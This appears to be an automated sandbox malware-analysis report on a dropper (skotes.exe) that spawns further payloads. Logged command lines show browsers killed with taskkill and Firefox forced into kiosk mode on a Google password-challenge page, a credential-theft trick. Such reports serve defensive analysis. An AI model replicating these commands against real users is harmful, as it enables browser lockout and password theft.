Source: 1026aa8304.exe.6.dr	Static PE information: section name: .idata
Source: 1026aa8304.exe.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: 3c882da37a.exe.6.dr	Static PE information: section name:
Source: 3c882da37a.exe.6.dr	Static PE information: section name: .idata
Source: 3c882da37a.exe.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: 822dda4848.exe.6.dr	Static PE information: section name:
Source: 822dda4848.exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .rsrc
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00778860	6_2_00778860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00777049	6_2_00777049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007778BB	6_2_007778BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00772D10	6_2_00772D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00734DE0	6_2_00734DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007731A8	6_2_007731A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00767F36	6_2_00767F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00734B30	6_2_00734B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0077779B	6_2_0077779B
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DFE32A	7_3_00DFE32A
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DFE32A	7_3_00DFE32A
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DC3DC1	7_3_00DC3DC1
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DC3DC1	7_3_00DC3DC1
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DC3DC1	7_3_00DC3DC1
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DC3DE1	7_3_00DC3DE1
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DC3DE1	7_3_00DC3DE1
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DC3DE1	7_3_00DC3DE1
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DC3D91	7_3_00DC3D91
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DC3D91	7_3_00DC3D91
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DC3D91	7_3_00DC3D91
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DC3E51	7_3_00DC3E51
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DFE348	7_3_00DFE348
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DFF560	7_3_00DFF560
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DFE32A	7_3_00DFE32A
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DFE32A	7_3_00DFE32A
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DC3DC1	7_3_00DC3DC1
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DC3DC1	7_3_00DC3DC1
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DC3DC1	7_3_00DC3DC1
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DC3DE1	7_3_00DC3DE1
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DC3DE1	7_3_00DC3DE1
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DC3DE1	7_3_00DC3DE1
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DC3D91	7_3_00DC3D91
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DC3D91	7_3_00DC3D91
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DC3D91	7_3_00DC3D91
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DC3DC1	7_3_00DC3DC1
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DC3DC1	7_3_00DC3DC1
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DC3DC1	7_3_00DC3DC1
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DC3DE1	7_3_00DC3DE1
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DC3DE1	7_3_00DC3DE1
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DC3DE1	7_3_00DC3DE1
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DC3D91	7_3_00DC3D91
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DC3D91	7_3_00DC3D91
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DC3D91	7_3_00DC3D91

Source: random[2].exe.6.dr

Static PE information: No import functions for PE file found

Source: random[2].exe.6.dr

Static PE information: Data appended to the last section found

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9981639560626703
Source: file.exe	Static PE information: Section: qjiksrqu ZLIB complexity 0.9947746206486164
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981639560626703
Source: skotes.exe.0.dr	Static PE information: Section: qjiksrqu ZLIB complexity 0.9947746206486164
Source: random[1].exe.6.dr	Static PE information: Section: ZLIB complexity 0.9993019979508196
Source: random[1].exe.6.dr	Static PE information: Section: rriqemsb ZLIB complexity 0.9946638155876035
Source: 1026aa8304.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9993019979508196
Source: 1026aa8304.exe.6.dr	Static PE information: Section: rriqemsb ZLIB complexity 0.9946638155876035
Source: random[1].exe0.6.dr	Static PE information: Section: fswcchxk ZLIB complexity 0.9945620023287259
Source: 3c882da37a.exe.6.dr	Static PE information: Section: fswcchxk ZLIB complexity 0.9945620023287259

Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@96/23@48/14

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7568:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7624:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4364:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7576:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2424:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2108:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:932:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4496:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5252:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7468:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4584:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 1026aa8304.exe, 00000007.00000003.2488163153.0000000005665000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2640094756.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2641990818.0000000005675000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 55%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 3c882da37a.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe "C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe "C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe "C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe "C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe"
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e9ad3e56-a5f8-465f-88f4-c6514a7e720b} 7060 "\\.\pipe\gecko-crash-server-pipe.7060" 2357986f710 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe "C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4052 -parentBuildID 20230927232528 -prefsHandle 4412 -prefMapHandle 4408 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {476058cb-03a2-43ae-9358-17a682daf601} 7060 "\\.\pipe\gecko-crash-server-pipe.7060" 2350b9c0610 rdd
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe "C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe "C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe"
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2316 -parentBuildID 20230927232528 -prefsHandle 2260 -prefMapHandle 2256 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ddc58a6b-ce9e-458e-bf41-6e16069df6f3} 6688 "\\.\pipe\gecko-crash-server-pipe.6688" 1fa6786eb10 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe "C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe"
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=1026aa8304.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=2008,i,14332118018770352098,14837137998723071509,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=1026aa8304.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2016 --field-trial-handle=1976,i,8954063643087590301,5146573607995166192,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe "C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe"
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe "C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe "C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe "C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe "C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=1026aa8304.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=1026aa8304.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e9ad3e56-a5f8-465f-88f4-c6514a7e720b} 7060 "\\.\pipe\gecko-crash-server-pipe.7060" 2357986f710 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4052 -parentBuildID 20230927232528 -prefsHandle 4412 -prefMapHandle 4408 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {476058cb-03a2-43ae-9358-17a682daf601} 7060 "\\.\pipe\gecko-crash-server-pipe.7060" 2350b9c0610 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
